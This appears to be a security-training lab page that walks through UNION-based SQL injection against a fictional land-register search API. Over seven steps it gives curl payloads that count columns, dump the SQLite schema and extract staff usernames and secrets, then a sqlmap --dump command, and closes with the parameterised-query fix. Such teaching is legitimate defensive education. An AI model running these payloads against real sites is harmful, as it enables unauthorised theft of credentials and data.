Labs / Web Attacks / The web app's attack surface

Lab 2 of 5 · The web app's attack surface

SQL injection for data theft: reading a table through UNION

A land register's search is UNION-injectable: read the error, count columns, map the schema, and dump the staff accounts — then let sqlmap finish.

Start this lab 7 steps

The idea

Tariq has an authorised engagement against Westmere Registry, a public land-records portal. Anyone may search the register by reference — that is what a public register is for — so there is no login to bypass and no data that is secret by itself. The prize is the data the search was never meant to reach: the staff accounts table in the same database.

The sql-injection lab you may have met before was blind — the endpoint returned no data, so a secret came out one bit at a time. This one is readable. The search runs a plain SELECT and returns its rows, so if Tariq can bolt a second SELECT onto it with UNION, the rows of any table ride back in the same list. That is the difference between proving a flaw and stealing a database.

The search text becomes a second query
The search text becomes a second query

Steps

  1. Search the register

    You are on Tariq's box, kali, alone with one web server at 10.0.1.20. The Viewer shows Westmere Registry as the public sees it — search a reference like WR-104 and watch the parcels come back. It is a single-page app: the page is a shell, and the rows arrive from a JSON API the page calls. Fetch that API directly.

    The one thing to watch is where your input goes. You type a reference; the server finds records whose reference is like it. Your text ends up inside the query — the whole question of this lab is how.

    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=WR-104"
  2. The front door is locked; the search is not

    There is a staff sign-in at /staff. That is the obvious target, so try the textbook ' OR 1=1 -- against the login API — straight over HTTP, past the React form. Then put a single stray quote into the search term and compare how the two inputs are handled.

    If an input is bound (sent to the database as a value), a quote in it is only a character and nothing breaks. If it is concatenated into the query text, a quote lands in the SQL itself and the query no longer parses. One stray quote tells you which you are dealing with.

    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=WR'"
  3. Count the columns

    To bolt your own SELECT onto this one with UNION, your SELECT must return the same number of columns — otherwise SQLite refuses it. You do not know that number yet, so ask the database to count for you.

    ORDER BY n sorts by the n-th column. Sort by column 3 and the query works; sort by a column that does not exist and it errors. Walk the number up until the error appears: the last number that worked is the column count.

    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=' ORDER BY 3-- "
    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=' ORDER BY 4-- "
  4. Ask the database what it holds

    You have an injection and a column count. Before you can steal a table you need its name and its columns, and SQLite keeps all of that in a built-in table, sqlite_master: one row per object, with its name, its type, and the CREATE statement that made it.

    UNION SELECT it. Three columns to match the count — name, type, sql — and the register's own search hands you the whole schema in the results list.

    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=' UNION SELECT name, type, sql FROM sqlite_master-- "
  5. Steal the accounts table

    You have the table and its columns. Dump it. UNION SELECT username, role, secret FROM accounts — three columns again — and the staff rows come back where the parcels would be: the username in the reference column, the role in the owner column, the secret in the parcel column.

    kali:~# curl -s -G http://10.0.1.20/api/records --data-urlencode "ref=' UNION SELECT username, role, secret FROM accounts-- "
  6. Let sqlmap do it

    By hand you understand the flaw. sqlmap industrialises it: point it at the records request, name ref as the parameter to test, and it finds the UNION injection, works out the column count and types, and dumps the table — all the steps you did by hand, automatically.

    kali:~# sqlmap -u "http://10.0.1.20/api/records?ref=WR" -p ref --dbms=sqlite --technique=U --level=3 --risk=2 --batch --dump -T accounts
  7. Swap seats: the one-line fix

    Now you run Westmere's site. The fix for this is not the allowlist a broken ORDER BY needs — a search value can be bound like any other. The developer built the string by hand where they could have passed a parameter.

    The same site already has the search written correctly, at /api/lookup: it binds the term. Send it the exact payload that stole the accounts table, and watch it do nothing.

    kali:~# curl -s -G http://10.0.1.20/api/lookup --data-urlencode "ref=' UNION SELECT username, role, secret FROM accounts-- "

Run these steps on real machines

Keep reading

Learn it on real machines.

Every lab is a small network of real Linux machines in your browser. Sign in with Google or email to start.

Start this lab